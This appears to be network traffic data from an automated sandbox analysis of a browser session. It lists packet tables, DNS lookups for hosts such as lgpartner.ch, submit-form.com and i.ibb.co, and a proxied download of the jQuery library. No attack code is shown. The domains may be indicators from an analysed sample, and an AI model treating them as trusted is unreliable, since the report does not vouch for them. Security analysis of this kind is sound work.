Mar 20, 2025 11:46:27.093230963 CET	49763	443	192.168.2.5	142.250.81.228
Mar 20, 2025 11:46:27.093281031 CET	443	49763	142.250.81.228	192.168.2.5
Mar 20, 2025 11:46:27.093367100 CET	49763	443	192.168.2.5	142.250.81.228
Mar 20, 2025 11:46:27.093585014 CET	49763	443	192.168.2.5	142.250.81.228
Mar 20, 2025 11:46:27.093599081 CET	443	49763	142.250.81.228	192.168.2.5
Mar 20, 2025 11:46:27.286946058 CET	443	49763	142.250.81.228	192.168.2.5
Mar 20, 2025 11:46:27.287205935 CET	49763	443	192.168.2.5	142.250.81.228
Mar 20, 2025 11:46:27.287236929 CET	443	49763	142.250.81.228	192.168.2.5
Mar 20, 2025 11:46:37.279325962 CET	443	49763	142.250.81.228	192.168.2.5
Mar 20, 2025 11:46:37.279383898 CET	443	49763	142.250.81.228	192.168.2.5
Mar 20, 2025 11:46:37.279550076 CET	49763	443	192.168.2.5	142.250.81.228
Mar 20, 2025 11:46:38.969718933 CET	49763	443	192.168.2.5	142.250.81.228
Mar 20, 2025 11:46:38.969752073 CET	443	49763	142.250.81.228	192.168.2.5
Mar 20, 2025 11:47:27.156599045 CET	49764	443	192.168.2.5	142.250.81.228
Mar 20, 2025 11:47:27.156722069 CET	443	49764	142.250.81.228	192.168.2.5
Mar 20, 2025 11:47:27.156852961 CET	49764	443	192.168.2.5	142.250.81.228
Mar 20, 2025 11:47:27.157094002 CET	49764	443	192.168.2.5	142.250.81.228
Mar 20, 2025 11:47:27.157129049 CET	443	49764	142.250.81.228	192.168.2.5
Mar 20, 2025 11:47:27.349374056 CET	443	49764	142.250.81.228	192.168.2.5
Mar 20, 2025 11:47:27.349771976 CET	49764	443	192.168.2.5	142.250.81.228
Mar 20, 2025 11:47:27.349842072 CET	443	49764	142.250.81.228	192.168.2.5
Mar 20, 2025 11:47:37.382482052 CET	443	49764	142.250.81.228	192.168.2.5
Mar 20, 2025 11:47:37.382546902 CET	443	49764	142.250.81.228	192.168.2.5
Mar 20, 2025 11:47:37.382838964 CET	49764	443	192.168.2.5	142.250.81.228
Mar 20, 2025 11:47:38.969681978 CET	49764	443	192.168.2.5	142.250.81.228
Mar 20, 2025 11:47:38.969764948 CET	443	49764	142.250.81.228	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 20, 2025 11:44:22.818363905 CET	53	52921	1.1.1.1	192.168.2.5
Mar 20, 2025 11:44:22.860327959 CET	53	63834	1.1.1.1	192.168.2.5
Mar 20, 2025 11:44:23.598545074 CET	53	50223	1.1.1.1	192.168.2.5
Mar 20, 2025 11:44:23.718725920 CET	53	54198	1.1.1.1	192.168.2.5
Mar 20, 2025 11:44:26.967468023 CET	61163	53	192.168.2.5	1.1.1.1
Mar 20, 2025 11:44:26.967571974 CET	65315	53	192.168.2.5	1.1.1.1
Mar 20, 2025 11:44:27.069039106 CET	53	65315	1.1.1.1	192.168.2.5
Mar 20, 2025 11:44:27.069097042 CET	53	61163	1.1.1.1	192.168.2.5
Mar 20, 2025 11:44:27.967891932 CET	64658	53	192.168.2.5	1.1.1.1
Mar 20, 2025 11:44:27.967891932 CET	58287	53	192.168.2.5	1.1.1.1
Mar 20, 2025 11:44:28.065197945 CET	53	58287	1.1.1.1	192.168.2.5
Mar 20, 2025 11:44:28.067917109 CET	53	64658	1.1.1.1	192.168.2.5
Mar 20, 2025 11:44:28.605668068 CET	59612	53	192.168.2.5	1.1.1.1
Mar 20, 2025 11:44:28.606065989 CET	51041	53	192.168.2.5	1.1.1.1
Mar 20, 2025 11:44:28.704018116 CET	53	59612	1.1.1.1	192.168.2.5
Mar 20, 2025 11:44:28.704663038 CET	53	51041	1.1.1.1	192.168.2.5
Mar 20, 2025 11:44:29.404664993 CET	58850	53	192.168.2.5	1.1.1.1
Mar 20, 2025 11:44:29.404923916 CET	62672	53	192.168.2.5	1.1.1.1
Mar 20, 2025 11:44:29.502724886 CET	53	58850	1.1.1.1	192.168.2.5
Mar 20, 2025 11:44:29.504339933 CET	53	62672	1.1.1.1	192.168.2.5
Mar 20, 2025 11:44:40.661009073 CET	53	51111	1.1.1.1	192.168.2.5
Mar 20, 2025 11:44:50.707499981 CET	64713	53	192.168.2.5	1.1.1.1
Mar 20, 2025 11:44:50.707829952 CET	64354	53	192.168.2.5	1.1.1.1
Mar 20, 2025 11:44:50.816636086 CET	53	64713	1.1.1.1	192.168.2.5
Mar 20, 2025 11:44:50.846425056 CET	53	64354	1.1.1.1	192.168.2.5
Mar 20, 2025 11:44:53.210269928 CET	61821	53	192.168.2.5	1.1.1.1
Mar 20, 2025 11:44:53.212377071 CET	54849	53	192.168.2.5	1.1.1.1
Mar 20, 2025 11:44:53.317677975 CET	53	54849	1.1.1.1	192.168.2.5
Mar 20, 2025 11:44:53.320365906 CET	53	61821	1.1.1.1	192.168.2.5
Mar 20, 2025 11:44:53.963957071 CET	52584	53	192.168.2.5	1.1.1.1
Mar 20, 2025 11:44:53.964284897 CET	55403	53	192.168.2.5	1.1.1.1
Mar 20, 2025 11:44:54.095988989 CET	53	55403	1.1.1.1	192.168.2.5
Mar 20, 2025 11:44:54.102371931 CET	53	52584	1.1.1.1	192.168.2.5
Mar 20, 2025 11:44:59.394294024 CET	53	63513	1.1.1.1	192.168.2.5
Mar 20, 2025 11:45:03.553293943 CET	54030	53	192.168.2.5	1.1.1.1
Mar 20, 2025 11:45:03.553432941 CET	52101	53	192.168.2.5	1.1.1.1
Mar 20, 2025 11:45:03.750071049 CET	53	52101	1.1.1.1	192.168.2.5
Mar 20, 2025 11:45:03.757123947 CET	53	54030	1.1.1.1	192.168.2.5
Mar 20, 2025 11:45:03.757916927 CET	51465	53	192.168.2.5	1.1.1.1
Mar 20, 2025 11:45:03.970051050 CET	53	51465	1.1.1.1	192.168.2.5
Mar 20, 2025 11:45:03.997239113 CET	50685	53	192.168.2.5	8.8.8.8
Mar 20, 2025 11:45:03.997462988 CET	57289	53	192.168.2.5	1.1.1.1
Mar 20, 2025 11:45:04.093293905 CET	53	50685	8.8.8.8	192.168.2.5
Mar 20, 2025 11:45:04.094819069 CET	53	57289	1.1.1.1	192.168.2.5
Mar 20, 2025 11:45:05.005170107 CET	59655	53	192.168.2.5	1.1.1.1
Mar 20, 2025 11:45:05.005430937 CET	53055	53	192.168.2.5	1.1.1.1
Mar 20, 2025 11:45:05.126234055 CET	53	59655	1.1.1.1	192.168.2.5
Mar 20, 2025 11:45:05.209991932 CET	53	53055	1.1.1.1	192.168.2.5
Mar 20, 2025 11:45:10.178215027 CET	58188	53	192.168.2.5	1.1.1.1
Mar 20, 2025 11:45:10.178642035 CET	58409	53	192.168.2.5	1.1.1.1
Mar 20, 2025 11:45:10.384408951 CET	53	58188	1.1.1.1	192.168.2.5
Mar 20, 2025 11:45:10.385906935 CET	53	58409	1.1.1.1	192.168.2.5
Mar 20, 2025 11:45:10.386534929 CET	57155	53	192.168.2.5	1.1.1.1
Mar 20, 2025 11:45:10.485302925 CET	53	57155	1.1.1.1	192.168.2.5
Mar 20, 2025 11:45:11.624140978 CET	53768	53	192.168.2.5	1.1.1.1
Mar 20, 2025 11:45:11.624859095 CET	56812	53	192.168.2.5	1.1.1.1
Mar 20, 2025 11:45:11.723062992 CET	53	56812	1.1.1.1	192.168.2.5
Mar 20, 2025 11:45:11.731254101 CET	53	53768	1.1.1.1	192.168.2.5
Mar 20, 2025 11:45:11.744426012 CET	55819	53	192.168.2.5	1.1.1.1
Mar 20, 2025 11:45:11.744846106 CET	60599	53	192.168.2.5	8.8.8.8
Mar 20, 2025 11:45:11.840703011 CET	53	60599	8.8.8.8	192.168.2.5
Mar 20, 2025 11:45:11.842446089 CET	53	55819	1.1.1.1	192.168.2.5
Mar 20, 2025 11:45:16.677711964 CET	138	138	192.168.2.5	192.168.2.255
Mar 20, 2025 11:45:22.363121986 CET	53	61913	1.1.1.1	192.168.2.5
Mar 20, 2025 11:45:22.475802898 CET	53	53767	1.1.1.1	192.168.2.5
Mar 20, 2025 11:45:25.069768906 CET	53	59612	1.1.1.1	192.168.2.5
Mar 20, 2025 11:45:25.316602945 CET	53	49862	1.1.1.1	192.168.2.5
Mar 20, 2025 11:45:35.061367035 CET	51356	53	192.168.2.5	1.1.1.1
Mar 20, 2025 11:45:35.348709106 CET	53	51356	1.1.1.1	192.168.2.5
Mar 20, 2025 11:45:41.764667988 CET	61735	53	192.168.2.5	1.1.1.1
Mar 20, 2025 11:45:41.764667988 CET	57429	53	192.168.2.5	1.1.1.1
Mar 20, 2025 11:45:41.871963978 CET	53	61735	1.1.1.1	192.168.2.5
Mar 20, 2025 11:45:41.883250952 CET	53	57429	1.1.1.1	192.168.2.5
Mar 20, 2025 11:45:41.884093046 CET	63859	53	192.168.2.5	1.1.1.1
Mar 20, 2025 11:45:41.992007971 CET	53	63859	1.1.1.1	192.168.2.5
Mar 20, 2025 11:45:52.216300011 CET	53	64171	1.1.1.1	192.168.2.5
Mar 20, 2025 11:46:07.177397013 CET	50232	53	192.168.2.5	1.1.1.1
Mar 20, 2025 11:46:07.177654028 CET	57074	53	192.168.2.5	1.1.1.1
Mar 20, 2025 11:46:07.195576906 CET	49268	53	192.168.2.5	1.1.1.1
Mar 20, 2025 11:46:07.288383961 CET	53	57074	1.1.1.1	192.168.2.5
Mar 20, 2025 11:46:07.301038980 CET	53	50232	1.1.1.1	192.168.2.5
Mar 20, 2025 11:46:07.404476881 CET	53	49268	1.1.1.1	192.168.2.5
Mar 20, 2025 11:46:07.416526079 CET	57206	53	192.168.2.5	1.1.1.1
Mar 20, 2025 11:46:07.416898012 CET	49574	53	192.168.2.5	8.8.8.8
Mar 20, 2025 11:46:07.512203932 CET	53	49574	8.8.8.8	192.168.2.5
Mar 20, 2025 11:46:07.514111042 CET	53	57206	1.1.1.1	192.168.2.5
Mar 20, 2025 11:46:27.070924044 CET	53	63802	1.1.1.1	192.168.2.5
Mar 20, 2025 11:46:36.160365105 CET	53	52335	1.1.1.1	192.168.2.5
Mar 20, 2025 11:46:47.077923059 CET	52481	53	192.168.2.5	1.1.1.1
Mar 20, 2025 11:46:47.198174953 CET	53	52481	1.1.1.1	192.168.2.5
Mar 20, 2025 11:47:06.002079010 CET	57738	53	192.168.2.5	1.1.1.1
Mar 20, 2025 11:47:06.002079964 CET	60149	53	192.168.2.5	1.1.1.1
Mar 20, 2025 11:47:06.195518970 CET	53	57738	1.1.1.1	192.168.2.5
Mar 20, 2025 11:47:06.205147028 CET	53	60149	1.1.1.1	192.168.2.5
Mar 20, 2025 11:47:06.205866098 CET	53145	53	192.168.2.5	1.1.1.1
Mar 20, 2025 11:47:06.305476904 CET	53	53145	1.1.1.1	192.168.2.5
Mar 20, 2025 11:47:06.326401949 CET	54616	53	192.168.2.5	1.1.1.1
Mar 20, 2025 11:47:06.326613903 CET	63338	53	192.168.2.5	8.8.8.8
Mar 20, 2025 11:47:06.422416925 CET	53	63338	8.8.8.8	192.168.2.5
Mar 20, 2025 11:47:06.424432993 CET	53	54616	1.1.1.1	192.168.2.5

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Mar 20, 2025 11:44:50.846488953 CET	192.168.2.5	1.1.1.1	c237	(Port unreachable)	Destination Unreachable
Mar 20, 2025 11:45:05.210052013 CET	192.168.2.5	1.1.1.1	c223	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 20, 2025 11:44:26.967468023 CET	192.168.2.5	1.1.1.1	0x4076	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Mar 20, 2025 11:44:26.967571974 CET	192.168.2.5	1.1.1.1	0x71d6	Standard query (0)	www.google.com	65	IN (0x0001)	false
Mar 20, 2025 11:44:27.967891932 CET	192.168.2.5	1.1.1.1	0x7fc8	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Mar 20, 2025 11:44:27.967891932 CET	192.168.2.5	1.1.1.1	0x5d2a	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Mar 20, 2025 11:44:28.605668068 CET	192.168.2.5	1.1.1.1	0x7765	Standard query (0)	i.ibb.co	A (IP address)	IN (0x0001)	false
Mar 20, 2025 11:44:28.606065989 CET	192.168.2.5	1.1.1.1	0x3995	Standard query (0)	i.ibb.co	65	IN (0x0001)	false
Mar 20, 2025 11:44:29.404664993 CET	192.168.2.5	1.1.1.1	0xb7b1	Standard query (0)	i.ibb.co	A (IP address)	IN (0x0001)	false
Mar 20, 2025 11:44:29.404923916 CET	192.168.2.5	1.1.1.1	0xaaa6	Standard query (0)	i.ibb.co	65	IN (0x0001)	false
Mar 20, 2025 11:44:50.707499981 CET	192.168.2.5	1.1.1.1	0x67bf	Standard query (0)	submit-form.com	A (IP address)	IN (0x0001)	false
Mar 20, 2025 11:44:50.707829952 CET	192.168.2.5	1.1.1.1	0x5f16	Standard query (0)	submit-form.com	65	IN (0x0001)	false
Mar 20, 2025 11:44:53.210269928 CET	192.168.2.5	1.1.1.1	0x9155	Standard query (0)	submit-form.com	A (IP address)	IN (0x0001)	false
Mar 20, 2025 11:44:53.212377071 CET	192.168.2.5	1.1.1.1	0xcc42	Standard query (0)	submit-form.com	65	IN (0x0001)	false
Mar 20, 2025 11:44:53.963957071 CET	192.168.2.5	1.1.1.1	0x49a	Standard query (0)	submitted.formspark.io	A (IP address)	IN (0x0001)	false
Mar 20, 2025 11:44:53.964284897 CET	192.168.2.5	1.1.1.1	0x7669	Standard query (0)	submitted.formspark.io	65	IN (0x0001)	false
Mar 20, 2025 11:45:03.553293943 CET	192.168.2.5	1.1.1.1	0xd5d1	Standard query (0)	lgpartner.ch	A (IP address)	IN (0x0001)	false
Mar 20, 2025 11:45:03.553432941 CET	192.168.2.5	1.1.1.1	0x9cfa	Standard query (0)	lgpartner.ch	65	IN (0x0001)	false
Mar 20, 2025 11:45:03.757916927 CET	192.168.2.5	1.1.1.1	0x5a36	Standard query (0)	lgpartner.ch	A (IP address)	IN (0x0001)	false
Mar 20, 2025 11:45:03.997239113 CET	192.168.2.5	8.8.8.8	0xf355	Standard query (0)	google.com	A (IP address)	IN (0x0001)	false
Mar 20, 2025 11:45:03.997462988 CET	192.168.2.5	1.1.1.1	0x29aa	Standard query (0)	google.com	A (IP address)	IN (0x0001)	false
Mar 20, 2025 11:45:05.005170107 CET	192.168.2.5	1.1.1.1	0x92f7	Standard query (0)	lgpartner.ch	A (IP address)	IN (0x0001)	false
Mar 20, 2025 11:45:05.005430937 CET	192.168.2.5	1.1.1.1	0x8b02	Standard query (0)	lgpartner.ch	65	IN (0x0001)	false
Mar 20, 2025 11:45:10.178215027 CET	192.168.2.5	1.1.1.1	0xd38a	Standard query (0)	lgpartner.ch	A (IP address)	IN (0x0001)	false
Mar 20, 2025 11:45:10.178642035 CET	192.168.2.5	1.1.1.1	0xf570	Standard query (0)	lgpartner.ch	65	IN (0x0001)	false
Mar 20, 2025 11:45:10.386534929 CET	192.168.2.5	1.1.1.1	0xbccc	Standard query (0)	lgpartner.ch	A (IP address)	IN (0x0001)	false
Mar 20, 2025 11:45:11.624140978 CET	192.168.2.5	1.1.1.1	0x4247	Standard query (0)	lgpartner.ch	A (IP address)	IN (0x0001)	false
Mar 20, 2025 11:45:11.624859095 CET	192.168.2.5	1.1.1.1	0xe0b1	Standard query (0)	lgpartner.ch	65	IN (0x0001)	false
Mar 20, 2025 11:45:11.744426012 CET	192.168.2.5	1.1.1.1	0x3628	Standard query (0)	google.com	A (IP address)	IN (0x0001)	false
Mar 20, 2025 11:45:11.744846106 CET	192.168.2.5	8.8.8.8	0xd5e5	Standard query (0)	google.com	A (IP address)	IN (0x0001)	false
Mar 20, 2025 11:45:35.061367035 CET	192.168.2.5	1.1.1.1	0xc9d3	Standard query (0)	lgpartner.ch	A (IP address)	IN (0x0001)	false
Mar 20, 2025 11:45:41.764667988 CET	192.168.2.5	1.1.1.1	0x913	Standard query (0)	lgpartner.ch	A (IP address)	IN (0x0001)	false
Mar 20, 2025 11:45:41.764667988 CET	192.168.2.5	1.1.1.1	0xf771	Standard query (0)	lgpartner.ch	65	IN (0x0001)	false
Mar 20, 2025 11:45:41.884093046 CET	192.168.2.5	1.1.1.1	0x5aef	Standard query (0)	lgpartner.ch	A (IP address)	IN (0x0001)	false
Mar 20, 2025 11:46:07.177397013 CET	192.168.2.5	1.1.1.1	0x2e7b	Standard query (0)	lgpartner.ch	A (IP address)	IN (0x0001)	false
Mar 20, 2025 11:46:07.177654028 CET	192.168.2.5	1.1.1.1	0xc214	Standard query (0)	lgpartner.ch	65	IN (0x0001)	false
Mar 20, 2025 11:46:07.195576906 CET	192.168.2.5	1.1.1.1	0xe9f	Standard query (0)	lgpartner.ch	A (IP address)	IN (0x0001)	false
Mar 20, 2025 11:46:07.416526079 CET	192.168.2.5	1.1.1.1	0x3ad	Standard query (0)	google.com	A (IP address)	IN (0x0001)	false
Mar 20, 2025 11:46:07.416898012 CET	192.168.2.5	8.8.8.8	0x9e1f	Standard query (0)	google.com	A (IP address)	IN (0x0001)	false
Mar 20, 2025 11:46:47.077923059 CET	192.168.2.5	1.1.1.1	0x71ec	Standard query (0)	lgpartner.ch	A (IP address)	IN (0x0001)	false
Mar 20, 2025 11:47:06.002079010 CET	192.168.2.5	1.1.1.1	0x46e4	Standard query (0)	lgpartner.ch	A (IP address)	IN (0x0001)	false
Mar 20, 2025 11:47:06.002079964 CET	192.168.2.5	1.1.1.1	0x8ca0	Standard query (0)	lgpartner.ch	65	IN (0x0001)	false
Mar 20, 2025 11:47:06.205866098 CET	192.168.2.5	1.1.1.1	0x8ef3	Standard query (0)	lgpartner.ch	A (IP address)	IN (0x0001)	false
Mar 20, 2025 11:47:06.326401949 CET	192.168.2.5	1.1.1.1	0x8870	Standard query (0)	google.com	A (IP address)	IN (0x0001)	false
Mar 20, 2025 11:47:06.326613903 CET	192.168.2.5	8.8.8.8	0x5e3	Standard query (0)	google.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Mar 20, 2025 11:44:27.069039106 CET	1.1.1.1	192.168.2.5	0x71d6	No error (0)	www.google.com		65	IN (0x0001)	false
Mar 20, 2025 11:44:27.069097042 CET	1.1.1.1	192.168.2.5	0x4076	No error (0)	www.google.com	142.250.81.228	A (IP address)	IN (0x0001)	false
Mar 20, 2025 11:44:28.067917109 CET	1.1.1.1	192.168.2.5	0x7fc8	No error (0)	code.jquery.com	151.101.2.137	A (IP address)	IN (0x0001)	false
Mar 20, 2025 11:44:28.067917109 CET	1.1.1.1	192.168.2.5	0x7fc8	No error (0)	code.jquery.com	151.101.194.137	A (IP address)	IN (0x0001)	false
Mar 20, 2025 11:44:28.067917109 CET	1.1.1.1	192.168.2.5	0x7fc8	No error (0)	code.jquery.com	151.101.130.137	A (IP address)	IN (0x0001)	false
Mar 20, 2025 11:44:28.067917109 CET	1.1.1.1	192.168.2.5	0x7fc8	No error (0)	code.jquery.com	151.101.66.137	A (IP address)	IN (0x0001)	false
Mar 20, 2025 11:44:28.704018116 CET	1.1.1.1	192.168.2.5	0x7765	No error (0)	i.ibb.co	207.174.26.219	A (IP address)	IN (0x0001)	false
Mar 20, 2025 11:44:29.502724886 CET	1.1.1.1	192.168.2.5	0xb7b1	No error (0)	i.ibb.co	207.174.26.219	A (IP address)	IN (0x0001)	false
Mar 20, 2025 11:44:50.816636086 CET	1.1.1.1	192.168.2.5	0x67bf	No error (0)	submit-form.com	3.168.73.69	A (IP address)	IN (0x0001)	false
Mar 20, 2025 11:44:50.816636086 CET	1.1.1.1	192.168.2.5	0x67bf	No error (0)	submit-form.com	3.168.73.68	A (IP address)	IN (0x0001)	false
Mar 20, 2025 11:44:50.816636086 CET	1.1.1.1	192.168.2.5	0x67bf	No error (0)	submit-form.com	3.168.73.9	A (IP address)	IN (0x0001)	false
Mar 20, 2025 11:44:50.816636086 CET	1.1.1.1	192.168.2.5	0x67bf	No error (0)	submit-form.com	3.168.73.87	A (IP address)	IN (0x0001)	false
Mar 20, 2025 11:44:53.320365906 CET	1.1.1.1	192.168.2.5	0x9155	No error (0)	submit-form.com	3.168.73.87	A (IP address)	IN (0x0001)	false
Mar 20, 2025 11:44:53.320365906 CET	1.1.1.1	192.168.2.5	0x9155	No error (0)	submit-form.com	3.168.73.69	A (IP address)	IN (0x0001)	false
Mar 20, 2025 11:44:53.320365906 CET	1.1.1.1	192.168.2.5	0x9155	No error (0)	submit-form.com	3.168.73.9	A (IP address)	IN (0x0001)	false
Mar 20, 2025 11:44:53.320365906 CET	1.1.1.1	192.168.2.5	0x9155	No error (0)	submit-form.com	3.168.73.68	A (IP address)	IN (0x0001)	false
Mar 20, 2025 11:44:54.102371931 CET	1.1.1.1	192.168.2.5	0x49a	No error (0)	submitted.formspark.io	18.164.116.98	A (IP address)	IN (0x0001)	false
Mar 20, 2025 11:44:54.102371931 CET	1.1.1.1	192.168.2.5	0x49a	No error (0)	submitted.formspark.io	18.164.116.5	A (IP address)	IN (0x0001)	false
Mar 20, 2025 11:44:54.102371931 CET	1.1.1.1	192.168.2.5	0x49a	No error (0)	submitted.formspark.io	18.164.116.72	A (IP address)	IN (0x0001)	false
Mar 20, 2025 11:44:54.102371931 CET	1.1.1.1	192.168.2.5	0x49a	No error (0)	submitted.formspark.io	18.164.116.30	A (IP address)	IN (0x0001)	false
Mar 20, 2025 11:45:04.093293905 CET	8.8.8.8	192.168.2.5	0xf355	No error (0)	google.com	142.251.40.142	A (IP address)	IN (0x0001)	false
Mar 20, 2025 11:45:04.094819069 CET	1.1.1.1	192.168.2.5	0x29aa	No error (0)	google.com	142.251.40.174	A (IP address)	IN (0x0001)	false
Mar 20, 2025 11:45:11.840703011 CET	8.8.8.8	192.168.2.5	0xd5e5	No error (0)	google.com	142.250.72.110	A (IP address)	IN (0x0001)	false
Mar 20, 2025 11:45:11.842446089 CET	1.1.1.1	192.168.2.5	0x3628	No error (0)	google.com	142.251.35.174	A (IP address)	IN (0x0001)	false
Mar 20, 2025 11:46:07.512203932 CET	8.8.8.8	192.168.2.5	0x9e1f	No error (0)	google.com	142.250.72.110	A (IP address)	IN (0x0001)	false
Mar 20, 2025 11:46:07.514111042 CET	1.1.1.1	192.168.2.5	0x3ad	No error (0)	google.com	142.250.65.174	A (IP address)	IN (0x0001)	false
Mar 20, 2025 11:47:06.422416925 CET	8.8.8.8	192.168.2.5	0x5e3	No error (0)	google.com	142.250.72.110	A (IP address)	IN (0x0001)	false
Mar 20, 2025 11:47:06.424432993 CET	1.1.1.1	192.168.2.5	0x8870	No error (0)	google.com	142.251.41.14	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

code.jquery.com

i.ibb.co

submit-form.com

submitted.formspark.io

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49734	151.101.2.137	443	6984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-20 10:44:28 UTC	539	OUT	GET /jquery-3.6.4.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-20 10:44:28 UTC	563	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89795 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15ec3" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Accept-Ranges: bytes Date: Thu, 20 Mar 2025 10:44:28 GMT Via: 1.1 varnish Age: 379878 X-Served-By: cache-lga21972-LGA X-Cache: HIT X-Cache-Hits: 232 X-Timer: S1742467468.380563,VS0,VE0 Vary: Accept-Encoding
2025-03-20 10:44:28 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 34 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.4 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2025-03-20 10:44:28 UTC	16384	IN	Data Raw: 30 5d 3d 3d 3d 6b 26 26 72 5b 31 5d 29 26 26 72 5b 32 5d 2c 61 3d 73 26 26 63 2e 63 68 69 6c 64 4e 6f 64 65 73 5b 73 5d 3b 77 68 69 6c 65 28 61 3d 2b 2b 73 26 26 61 26 26 61 5b 6c 5d 7c 7c 28 64 3d 73 3d 30 29 7c 7c 75 2e 70 6f 70 28 29 29 69 66 28 31 3d 3d 3d 61 2e 6e 6f 64 65 54 79 70 65 26 26 2b 2b 64 26 26 61 3d 3d 3d 65 29 7b 69 5b 68 5d 3d 5b 6b 2c 73 2c 64 5d 3b 62 72 65 61 6b 7d 7d 65 6c 73 65 20 69 66 28 70 26 26 28 64 3d 73 3d 28 72 3d 28 69 3d 28 6f 3d 28 61 3d 65 29 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6f 5b 61 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 29 5b 68 5d 7c 7c 5b 5d 29 5b 30 5d 3d 3d 3d 6b 26 26 72 5b 31 5d 29 2c 21 31 3d 3d 3d 64 29 77 68 69 6c 65 28 61 3d 2b 2b 73 26 26 61 26 26 Data Ascii: 0]===k&&r[1])&&r[2],a=s&&c.childNodes[s];while(a=++s&&a&&a[l]\|\|(d=s=0)\|\|u.pop())if(1===a.nodeType&&++d&&a===e){i[h]=[k,s,d];break}}else if(p&&(d=s=(r=(i=(o=(a=e)[S]\|\|(a[S]={}))[a.uniqueID]\|\|(o[a.uniqueID]={}))[h]\|\|[])[0]===k&&r[1]),!1===d)while(a=++s&&a&&
2025-03-20 10:44:28 UTC	16384	IN	Data Raw: 2e 63 61 6c 6c 28 65 29 3a 75 3f 74 28 65 5b 30 5d 2c 6e 29 3a 6f 7d 2c 5f 3d 2f 5e 2d 6d 73 2d 2f 2c 7a 3d 2f 2d 28 5b 61 2d 7a 5d 29 2f 67 3b 66 75 6e 63 74 69 6f 6e 20 55 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 2e 74 6f 55 70 70 65 72 43 61 73 65 28 29 7d 66 75 6e 63 74 69 6f 6e 20 58 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 72 65 70 6c 61 63 65 28 5f 2c 22 6d 73 2d 22 29 2e 72 65 70 6c 61 63 65 28 7a 2c 55 29 7d 76 61 72 20 56 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 31 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 39 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 21 2b 65 2e 6e 6f 64 65 54 79 70 65 7d 3b 66 75 6e 63 74 69 6f 6e 20 47 28 29 7b 74 68 69 73 2e 65 78 70 61 6e 64 6f 3d 53 2e 65 78 70 61 6e 64 6f 2b 47 2e 75 69 64 2b 2b 7d Data Ascii: .call(e):u?t(e[0],n):o},_=/^-ms-/,z=/-([a-z])/g;function U(e,t){return t.toUpperCase()}function X(e){return e.replace(_,"ms-").replace(z,U)}var V=function(e){return 1===e.nodeType\|\|9===e.nodeType\|\|!+e.nodeType};function G(){this.expando=S.expando+G.uid++}
